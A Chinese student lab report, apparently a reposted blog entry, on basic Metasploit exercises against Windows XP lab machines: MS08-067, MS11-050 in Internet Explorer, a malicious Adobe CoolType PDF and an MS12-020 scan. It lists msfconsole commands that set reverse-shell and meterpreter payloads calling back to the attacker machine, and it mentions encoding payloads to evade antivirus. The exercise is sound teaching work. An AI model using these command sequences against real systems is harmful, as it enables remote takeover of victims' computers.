20165107 网络对抗技术 Exp5 MSF基础应用

1.实验内容

1.1一个主动攻击实践，如ms08_067（成功）

1.2 一个针对浏览器的攻击，如ms11_050（成功）

1.3 一个针对客户端的攻击，如Adobe（成功）

1.4 成功应用任何一个辅助模块，如scanner/rdp/ms12_020_check（唯一，成功）

2.基础问题回答：用自己的话解释什么是exploit,payload,encode.

• exploit相当于是载具，是渗透攻击模块，将负责攻击的代码传送到靶机中。
• payload相当于载荷，是我们exploit中shellcode中的主要功能代码，负责执行攻击。
• Encode用于对payload进行编码，通过修改字符，实现免杀，不让杀软轻易的发现payload是攻击代码。

3.实验过程

任务一：一个主动攻击实践——漏洞MS08_067

• 关于漏洞MS08_067的原理

安全公告：KB958644   时间：2008年底

原理：攻击者利用受害者主机默认开放的SMB服务端口445，发送特殊RPC请求，通过MSRPC接口调用serve服务函数NetPathCanonicalize函数对进行远程访问的路径规范化，而此函数中存在栈缓冲区内存漏洞，可被利用实施远程代码执行

详细原理说明：在规范化路径操作中，就是将路径字符串中‘/‘置换成‘‘以及出去相对路径（例如：‘.‘），而服务程序在这部分的地址空间检查存在逻辑漏洞，攻击者可以在函数除去“..”字符串时，将路径字符串中的内容复制到路径串之前的地址空间中，覆盖掉返回地址执行shellcode（原理类似我们之前所做的缓冲区溢出攻击）

受影响的操作系统：windows 2000/xp/server 2003/server 2008/vista/7 Beta

• 攻击过程

靶机：Windows XP SP3 English   IP：192.168.150.135

主机：Kali                                      IP：192.168.150.132

• 实验步骤

先用search ms08_067指令查询一下针对该漏洞可以运用的攻击模块.

再用use exploit/windows/smb/ms08_067_netapi使用该模块，再使用show payloads查看可以供我们使用的payload.

我们的目的是为了获取靶机的shell，因此这里我们选择通过反向连接来获取shell的generic/shell_reverse_tcp当payload，使用指令set payload generic/shell_reverse_tcp对payload进行设置。再使用指令show options查看我们需要设置的参数，发现需要设置一个RHOST（远程主机，即靶机的IP地址）和一个LHOST（本地主机，即攻击机的IP地址).

接着使用exploit指令开始攻击，攻击成功后获取了靶机的shell，使用dir指令查看目录文件.

任务二：一个针对浏览器的攻击，如ms11_050.

• 关于漏洞的原理

原理：IE浏览器MSHTML模块在处理无效标签时存在use-after-free漏洞

影响范围：IE Exploer 7 以及 IE Exploer 8

• 攻击过程

靶机：Windows XP SP3 English  IP：192.168.150.135

主机：Kali                                     IP：192.168.150.132

• 实验步骤

在攻击机kali输入msfconsole进入控制台，依次输入以下指令：

msf > use windows/browser/ms11_050_mshtml_cobjectelement//使用浏览器ms11_050漏洞

msf exploit(ms11_050_cobjectelement) > set payload windows/meterpreter/reverse_http //http反向回连

msf exploit(ms11_050_cobjectelement) > set LHOST 192.168.150.132//攻击机ip

msf exploit(ms11_050_cobjectelement) > set LPORT 5107//攻击端口固定

msf exploit(ms11_050_cobjectelement) > set URIPATH 5107ky //统一资源标识符路径设置

msf exploit(ms11_050_cobjectelement) > exploit.

在访问http://192.168.150.132:8080/5107ky时，可见攻击机出现访问信息.

kali连接成功！

任务三：一个针对客户端的攻击Adobe_cooltype_sing.

• 漏洞原理及攻击机型

这个漏洞针对Adobe阅读器9.3.4之前的版本，一个名为SING表对象中一个名为uniqueName的参数造成缓冲区溢出。

攻击机：kali   IP:192.168.150.136   靶机：windows XP sp3   IP:192.168.150.135    Adobe：9.3

• 实验步骤

在攻击机kali输入msfconsole进入控制台，依次输入以下指令：

msf > use windows/fileformat/adobe_cooltype_sing

msf exploit(adobe_cooltype_sing) > set payload windows/meterpreter/reverse_tcp` //tcp反向回连

msf exploit(adobe_cooltype_sing) > set LHOST 192.168.150.136 //攻击机ip

msf exploit(adobe_cooltype_sing) > set LPORT 5107 //攻击端口

msf exploit(adobe_cooltype_sing) > set FILENAME 5107.pdf //设置生成pdf文件的名字

msf exploit(adobe_cooltype_sing) > exploit //攻击

可成功生成5107.pdf

将pdf文件传送或拷贝到靶机上后，在kali上输入back退出当前模块，进入监听模块，输入以下命令：

msf > use exploit/multi/handler //进入监听模块

msf exploit(handler) > set payload windows/meterpreter/reverse_tcp //tcp反向连接

msf exploit(handler) > set LHOST 192.168.150.136 //攻击机ip

msf exploit(handler) > set LPORT 5107 //攻击端口固定

msf exploit(handler) > exploit

然后在靶机上打开5107.pdf文件

kali连接成功!

任务四：成功应用任何一个辅助模块——rdp/ms12_020check.

首先打开辅助模块

找到测试需要的模块：auxiliary/scanner/rdp/ms12_020_check，它的作用是扫描验证目标机是否具有此漏洞，具体步骤如下所示.

经过exploit运行后显示关于漏洞是否可利用是不可靠的

4.思考题：离实战还缺些什么技术或步骤

本次实验对靶机的版本、对补丁的要求很多，系统均用的是较老的版本，对于现实的攻击情况已经不大适用，要想研究最新的msf攻击技术，就要继续深入学习，掌握更多msf工具，并不断提升自己的代码编程能力。

5.实验感想

本次实验我对MSF工具进行了基础运用，体会到了msf工具的功能强大，在实验过程中，寻找合适版本的的虚拟机并安装用时较长，在寻找工具过程中，体会到学会查找工具的用途也很重要，如show targets、show payloads等命令。实验过程很有趣，攻击成功有小小的成就感，本次msf基础实验也是为后续实验打基础，接下来还需继续深入学习研究。

原文地址：https://www.cnblogs.com/3523108059lyl/p/10720653.html